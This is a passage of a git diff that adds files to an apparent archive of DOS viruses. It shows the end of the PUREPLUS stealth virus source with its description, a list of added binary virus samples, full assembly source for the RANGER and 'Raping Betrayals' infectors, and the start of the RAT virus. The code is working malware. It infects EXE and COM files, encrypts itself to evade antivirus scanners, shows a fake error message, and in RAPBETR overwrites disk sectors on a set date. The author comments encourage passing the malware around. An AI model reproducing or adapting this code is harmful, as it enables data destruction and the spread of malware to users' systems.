;open, read cx bytes, close file ds:bx + mov ah,high(FIND_NEXT) + loop find_next_file ;loop until no more matches +done: mov ah,high(GET_ERROR_LEVEL) + int DOS_INT ;get spawned childs program errorlevel + mov ah,high(TERMINATE_W_ERR) +now_run_it endp ;and return with that same errorlevel + +;----------------------------------------------------------------------------- + +call_dos proc near ;routine to call dos + int DOS_INT ;call dos + jc done ;error in doing so then exit + xchg ax,bx ;set bx to ax for open file stuff + push cs ;set ds to cs + pop ds ;for all sorts of stuff + mov ax,JOB_FILE_TABLE + ret ;get job file table +call_dos endp ;(done here for anti TBAV hueristic scan) + +;----------------------------------------------------------------------------- + +exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB + ;these are used to create the 14 byte exec + ;table to rerun program + +;----------------------------------------------------------------------------- + +open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes + mov dx,bx ;set dx to bx for dos call to open file + mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ + call call_dos ;just open it for reading (don't sound any alarms) + mov dx,offset critical_error + mov ax,DOS_SET_INT+CRITICAL_INT + int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler + inc dh ;just some dummy area outside in the heap to read the header of the file to + mov ah,high(READ_W_HANDLE) + int DOS_INT ;read it +reclose_it: mov ah,high(CLOSE_HANDLE) + jmp short call_dos ;goto close it +open_n_read_exe endp + +;----------------------------------------------------------------------------- + +interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:???? + cmp ax,VERIFY_3SECTORS + jne interrupt_ret ;if not doing int 13 stuff just leave + push ds ;push varables on stack + pusha + mov bp,sp ;make bp the sp + lds si,dword ptr ss:[bp+EIGHTEEN_BYTES] + cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL + jne go_back ;compare the instruction to a far call function + mov si,word ptr ds:[si+THREE_BYTES] + cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT + jne go_back ;compare the address of the call to segment FFFFh + cld ;if match then cx is pointing to the far call EAh at + mov di,cx ;the end of virii that needs to be updated + movsw ;move the address to our code + movsw ;far addresses are 4 bytes long + sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry) + org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh + mov word ptr ds:[si-FOUR_BYTES],di + and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP) +go_back: popa ;no longer need to singel step + pop ds ;pop off varables +critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h) +interrupt_ret: iret ;dual useage of iret. critical error and int 1 +interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in + +;----------------------------------------------------------------------------- + +exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan + +;----------------------------------------------------------------------------- + +convert_back proc near ;will convert virii sector es:bx back to clean sector + call ax_cx_di_si_cld ;get all them varables + repe cmps byte ptr cs:[si],es:[di] + jne not_pure ;does it compare byte for byte with our code + xor byte ptr ds:[bx],ah + call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature + rep stosb ;and zero out all the code +not_pure: ret ;go back to where you once belonged +convert_back endp + +;----------------------------------------------------------------------------- + +convert_to proc near ;will convert sector ds:bx into virii infected + pusha ;save varables onto stack + stc ;say that we failed + pushf ;push failed onto the stack + mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan + cmp word ptr ds:[bx],ax + jne not_exe_header ;if not an EXE header then not interested + mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE] + cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file + ja not_exe_header ;if not then not interested + cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested + je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected) + cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER + jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested + call ax_cx_di_si_cld ;get all them varables + pusha ;save'em + repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector + popa ;get'em again + jne not_exe_header ;if not then not interested + xor byte ptr ds:[bx],ah + rep movs byte ptr es:[di],cs:[si] + popf ;if all criteria were met for infection then modify sector in memory and insert virii + clc ;pop off the fail indicator + pushf ;and push on the passed indicator +not_exe_header: popf ;get passed/failed indicator + popa ;get varables from stack + ret ;go back to where you once belonged +convert_to endp + +;----------------------------------------------------------------------------- + +interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly +int_13_entry: cmp ah,high(READ_A_SECTOR) + jb call_old_int_13 ;only interested in reads, writes and verifys + cmp ah,high(VERIFY_3SECTORS) + ja call_old_int_13 ;if otherwise then go to old int 13 + push ds ;save ds + push es ;so we can make ds the same as es and save a few bytes + pop ds + call convert_to ;try to convert it to a virii sector + pushf ;set up for interrupt simulation + push cs ;push the cs onto the stack for the iret + call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read + pushf ;save the result of the int 13 call + call convert_to ;does it need to be converted to a virii sector + pusha ;save the varables onto the stack + jc do_convertback ;if not then see if it needs cleaning + mov ax,WRITE_A_SECTOR + pushf ;now lets write the virii infected sector back to disk + push cs ;simulate an int 13 execution + call call_old_int_13 ;and do it +do_convertback: call convert_back ;does the sector need to be cleaned on the fly + popa ;if it just wrote to the disk then it will need to be cleaned + popf ;or if it is a virii infected sector then clean it + pop ds ;pop off the varables and the result of int 13 simulation done above + retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact +interrupt_13 endp + +;----------------------------------------------------------------------------- + +signature db 'Q' ;must leave my calling card + +;----------------------------------------------------------------------------- + + org COM_OFFSET+SECTOR_SIZE-ONE_BYTE + ;must be a far jmp at the last of the sector + ;the address of the jmp is in the heap area + ;and is filled in by the int 1 trace routine + +;----------------------------------------------------------------------------- + +call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS + jmp far ptr old_int_13_addr +call_old_int_13 endp + +;----------------------------------------------------------------------------- + + org COM_OFFSET+SECTOR_SIZE + ;overwrites the address of above but that address + ;is not necessary until the virii goes resident in the HMA + +;----------------------------------------------------------------------------- + +goto_dos proc near ;this is our simple EXE file that we infected + mov ax,TERMINATE_W_ERR + nop ;it just simply ends +far_ptr_addr: int DOS_INT ;terminate program +goto_dos endp + +;----------------------------------------------------------------------------- + +pureplus endp ;close up and go home +cseg ends +end com_code + +;----------------------------------------------------------------------------- + +Virus Name: PUREPLUS +Aliases: +V Status: New, Research Viron +Discovery: March, 1994 +Symptoms: None - Pure Stealth +Origin: USA +Eff Length: 441 Bytes +Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector +Detection Method: None +Removal Instructions: See Below + +General Comments: + + The PUREPLUS virus is a HMA memory resident overwriting direct action + infector. The virus is a pure 100% stealth virus with no detectable + symptoms. No file length increase; overwritten .EXE files execute + properly; no interrupts are directly hooked; no change in file date or + time; no change in available memory; INT 12 is not moved; no cross + linked files from CHKDSK; when resident the virus cleans programs on + the fly; works with all 80?86 processors; VSAFE.COM does not detect + any changes; Thunder Byte's Heuristic virus detection does not detect + the virus; Windows 3.1's built in warning about a possible virus does + not detect PUREPLUS. + + The PUREPLUS is a variation of the PURE virus that will cause + VSAFE.COM to uninstall. + + The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file. + The first time an infected .EXE file is executed, the virus goes + memory resident in the HMA (High Memory Area). The hooking of INT 13 + is accomplished using a tunnelling technique, so memory mapping + utilities will not map it to the virus in memory. It then reloads the + infected .EXE file, cleans it on the fly, then executes it. After the + program has been executed, PUREPLUS will attempt to infect 15 .EXE + files in the current directory. + + If the PUREPLUS virus is unable to install in the HMA or clean the + infected .EXE on the fly, the virus will reopen the infected .EXE file + for read-only; modify the system file table for write; remove itself, + and then write the cleaned code back to the .EXE file. It then + reloads the clean .EXE file and executes it. The virus can not clean + itself on the fly if the disk is compressed with DBLSPACE or STACKER, + so it will clean the infected .EXE file and write it back. It will + also clean itself on an 8086 or 8088 processor. + + It will infect an .EXE if it is executed, opened for any reason or + even copied. When an uninfected .EXE is copied, both the source and + destination .EXE file are infected. + + The PUREPLUS virus overwrites the .EXE header if it meets certain + criteria. The .EXE file must be less than 62K. The file does not + have an extended .EXE header. The file is not SETVER.EXE. The .EXE + header must be all zeros from offset 71 to offset 512; this is where + the PUREPLUS virus writes it code. The PUREPLUS virus then changes + the .EXE header to a .COM file. Files that are READONLY can also be + infected. + + To remove the virus from your system, change DOS=HIGH to DOS=LOW in + your CONFIG.SYS file. Reboot the system. Then run each .EXE file + less than 62k. The virus will remove itself from each .EXE program + when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute + an infected .EXE file, then use a tape backup unit to copy all your + files. The files on the tape have had the virus removed from them. + Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the + system. Restore from tape all the files back to your system. diff --git a/q/QBootDr6.com b/q/QBootDr6.com new file mode 100755 index 0000000..8698dbf Binary files /dev/null and b/q/QBootDr6.com differ diff --git a/q/QBootDr6.exe b/q/QBootDr6.exe new file mode 100755 index 0000000..858b78e Binary files /dev/null and b/q/QBootDr6.exe differ diff --git a/q/QMU.1513.com b/q/QMU.1513.com new file mode 100755 index 0000000..c9fa7d1 Binary files /dev/null and b/q/QMU.1513.com differ diff --git a/q/QRes.149.com b/q/QRes.149.com new file mode 100755 index 0000000..1efef65 Binary files /dev/null and b/q/QRes.149.com differ diff --git a/q/QScare.cascade.com b/q/QScare.cascade.com new file mode 100755 index 0000000..8fa67ac Binary files /dev/null and b/q/QScare.cascade.com differ diff --git a/q/Quadratic.1283.com b/q/Quadratic.1283.com new file mode 100755 index 0000000..a758d2a Binary files /dev/null and b/q/Quadratic.1283.com differ diff --git a/q/Quadratic.1285 (Gen1).com b/q/Quadratic.1285 (Gen1).com new file mode 100755 index 0000000..5a68072 Binary files /dev/null and b/q/Quadratic.1285 (Gen1).com differ diff --git a/q/Quadratic.981.com b/q/Quadratic.981.com new file mode 100755 index 0000000..bbfa0cf Binary files /dev/null and b/q/Quadratic.981.com differ diff --git a/q/Quadratic.986.com b/q/Quadratic.986.com new file mode 100755 index 0000000..c2bd02f Binary files /dev/null and b/q/Quadratic.986.com differ diff --git a/q/Quake.exe b/q/Quake.exe new file mode 100755 index 0000000..f480c11 Binary files /dev/null and b/q/Quake.exe differ diff --git a/q/Quicky.exe b/q/Quicky.exe new file mode 100755 index 0000000..bec6482 Binary files /dev/null and b/q/Quicky.exe differ diff --git a/q/Quiet.com b/q/Quiet.com new file mode 100755 index 0000000..7b744c3 Binary files /dev/null and b/q/Quiet.com differ diff --git a/q/Quinine.exe b/q/Quinine.exe new file mode 100755 index 0000000..845b2c3 Binary files /dev/null and b/q/Quinine.exe differ diff --git a/q/Quit.A.com b/q/Quit.A.com new file mode 100755 index 0000000..791bd1a Binary files /dev/null and b/q/Quit.A.com differ diff --git a/q/Quit.A.exe b/q/Quit.A.exe new file mode 100755 index 0000000..791bd1a Binary files /dev/null and b/q/Quit.A.exe differ diff --git a/q/Quit.B.com b/q/Quit.B.com new file mode 100755 index 0000000..0ed4482 Binary files /dev/null and b/q/Quit.B.com differ diff --git a/r/RANGER.ASM b/r/RANGER.ASM new file mode 100755 index 0000000..b18dd25 --- /dev/null +++ b/r/RANGER.ASM @@ -0,0 +1,248 @@ + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 81h,35h ; xor word ptr [di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsw + movsb + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+com_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,2000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: +jmp activate ; Always activate +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + int 21h + retn ; 100h is on stack +save3 db 0cdh,20h,0 ; First 3 bytes of COM file + +activate: ; ****************************** + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + jmp exit_virus + +creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator +virusname db '[ranger]',0 + +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/r/RAPBETR.ASM b/r/RAPBETR.ASM new file mode 100755 index 0000000..7b2072e --- /dev/null +++ b/r/RAPBETR.ASM @@ -0,0 +1,340 @@ +; VirusName: Raping Betrayals +; Country : Sweden +; Author : The Unforgiven / Immortal Riot +; Date : 15/09/1993 +; +; +; This is an mutation of Misery from Immortal Riot. +; I mutated this one, cuz Mcafee scan grabbed it +; within one month after we released it. So, now +; "Misery" is called "Raping Betrayls". Many +; thanks to PCM2 for the original Leprosy virus. +; +; Okey..In this version I just changed the new +; Mcafee "Scan-String", by remarking some calls. +; I also added a day checker, and if the +; virus (or a infected file) is run at the 10:th +; any month, procedure "ellie" will go off.. +; Ellie is some sort of heart breaker!..<..hehe..> +; +; It copies itself into other exe/com files on the current +; drive. The file-size will not be changed, cuz it just +; replaces the code in the beginning with itselves. The +; infected files will not work, instead the virus will +; run again. The virus uses dot-dot metod for changing dirs. +; +; There has been many mutations born from Leprosy, +; and here we give you yet another contribution... +; +; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54 +; Havn't tried with TBScan/F-prot, but they will probably +; identify it as "Leprosy". +; +; Regards : The Unforgiven / Immortal Riot + +Title Raping Betrayals ; By The Unforgiven / Immortal Riot + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 664 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +; ----------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +; -------- +main proc near ; Code execution begins here + + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action +encrypt_val db 00h ; Hold value to encrypt by here + +; ---- Encrypt, save, and restore the virus code ----- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + +; call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov dx,code_start ; Buffer where code starts in memory + mov cx,virus_size ; Total number of bytes to write + + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file +; call encrypt_decrypt ; Restore the code as it was + call daycheck ; Call function who check's for day. + ret ; Go back to where you came from + +; -- Encrypt or decrypt the virus code ; ---- + +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start + ; encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor al,encrypt_val ; En/dis-engage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +; ------------------ +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +; ----------------- +virus_code: + +; ------------ +; "All strings are kept here in the file, and automatically encrypted" +; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but +; the virus is pretty un-use-less if Mcafee scan catch is so, I +; changed a few calls, and you can have phun with this again... +; ---------- +exe_filespec db "*.EXE",0 ; To infect EXE's +com_filespec db "*.COM",0 ; To infect COM's +newdir db "..",0 ; Move up one directory +; --------- +; Fake_msg is the message that will be printed on the screen, after +; it has infected files (or when a infected file is run). +; --------- +fake_msg db cr,lf,"Program too big to fit in memory$" +virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$" + db " The Unforgiven / Immortal Riot " ; HUmm..that's me.. + db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie! + db " Sweden 15/09/93 " ; written.. +; -------------- +; Okey..these messages just are just "file-size out-fillers" or something, +; nothing important..so I remarked them, and the virus is a bit smaller... +; also check in prodedure "Exit_virus" for more info about m.. + +;virus_msg2 db cr,lf,tab," Something was placed here before.. $" +;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $" +;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $" +;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $" +; ------------ + +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attribs + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attribs + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If "yes", find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribs + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Move the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; Try the process on this one +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret ; Returning to base... + +; ------------- +; ELLIE: +; mov ah,09h ; Read under +; mov dx,offset virus_msg1 ; for more +; int 21h ; information +; +; Okey..If it's 10:th (any month), the virus will do something with +; your hard-drives (..ellie..) which I finds to be real nasty ! If +; you wanna check if the function day-check works, just un-mark +; the tree lines under the first "ellie". and the virus_msg1 +; "Betrayal is a sin, if it comes from another" will be displayed. +; ---------- +; Here is the real "Ellie"..Yeah..that's certainly her! +; ---------- +ELLIE: ; Here comes the bitch.. + cli ; Tigh her up! + mov ah,2 ; starting with drive C + cwd ; starting at sector 0 + mov cx,0100h ; write 256 sectors + int 026h ; to protect and serve.. + jmp maria ; Next victim is Maria.. + +MARIA: ;Yet another.. + MOV AL,3 ;Set to fry drive D + MOV CX,700 ;Set to write 700 sectors + MOV DX,00 ;Starting at sector 0 + MOV DS,[DI+99] ;Put random crap in DS + MOV BX,[DI+55] ;More crap in BX + CALL ELLIE ;Jump for joy!... + +; ----------- +; If you want Ellie to go off on some special month, just look at procedure +; "Infect_file", and the call to daycheck. Change the call to Monthcheck, +; and "delete" the ";" on procedure monthcheck. But remember, that makes, +; the virus much less destructive, and by that time, all scanners has +; probably added a new scan-string on this one. Now it will go off the +; 10:th every month. Feel free to modify this as much you want to. + +; MONTHCHECK: ; Procudure to check +; mov ah,2ah ; what month it is.. +; int 21h ; Dos to your service.. +; cmp dh,06 ; comp dh,06 (July, month 06) +; je daycheck ; if month 06, jump to daycheck, +; JMP something ; if not, just jump to something.. +; ----------- + +Daycheck: ; check what day it is.. + mov ah,2ah ; + int 21h ; Dos to your service.. + cmp dl,10 ; If it is the 10:th, + je ellie ; if yes, have a great fuck.. + JMP something ; if not..just can tell you how sorry I'm ! + +Something: ; Some stupid procedure..but remember.. +ret ; Arbeit Macht Frei ! + +exit_virus: + cmp files_found,15 ; Are at least 15 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load address of the first line + int 21h ; Print it.. + ; mov dx,offset virus_msg2 ; --- + ; int 21h ; Okey..mess(ages) 2-5 have been + ; mov dx,offset virus_msg3 ; removed from the code..too bad, + ; int 21h ; they were Metallica messages... + ; mov dx,offset virus_msg4 ; --- + ; int 21h ; Anyway, (ab)use this program, B4 + ; mov dx,offset virus_msg5 ; Mcafee gets a new string for this + ; int 21h ; --- + jmp terminate ; Jump to terminate.. + +print_fake: + mov ah,09h ; Print fake error message + mov dx,offset fake_msg ; Print "fake_msg" + int 21h ; Dos to your service.. +terminate: ; Get ready for quit this program + mov ah,4ch ; DOS terminate process function + int 21h ; Exit.. + +filler db 8 dup (90h) ; Pad out to 666 bytes + +main endp +code ends + end main + +; Greeting goes out to : Raver, Metal Militia, Scavenver, +; and of-cuz to Miss Perfect...ELLIE! \ No newline at end of file diff --git a/r/RAT.ASM b/r/RAT.ASM new file mode 100755 index 0000000..8ec3802 --- /dev/null +++ b/r/RAT.ASM @@ -0,0 +1,127 @@ + +PAGE 59,132 +;************************************* +;**The Rat Virus - Overwriting ** +;** Non-Resident ** +;** Com File Infector** +;** Author: -Ajax- ** +;** This virus is 92 bytes long ** +;** Because it is made in 1992 :) ** +;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/** +;** Pass this unscannable around to ** +;** Your friends,and tell em McAfee ** +;** sent ya! ** +;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/** +;** Underground Asylum-904/688.6494 ** +;**"Replication Is Our Middle Name!"** +;************************************* + +retf macro ret_count ; Fixup for Assembler + ifdef ret_count + db 0CAh + dw ret_count + elseif + db 0CBh + endif +endm + +retn macro ret_count + ifdef ret_count + db 0C2h + dw ret_count + elseif + db 0C3h + endif +endm + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +location_file equ 9Eh ; location of file in DTA + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h ; Starting of all .COM files + +rat_virus proc far + +start: + mov ah,4Eh ; fixup for making undetectable + mov cl,20h ; + mov dx,offset 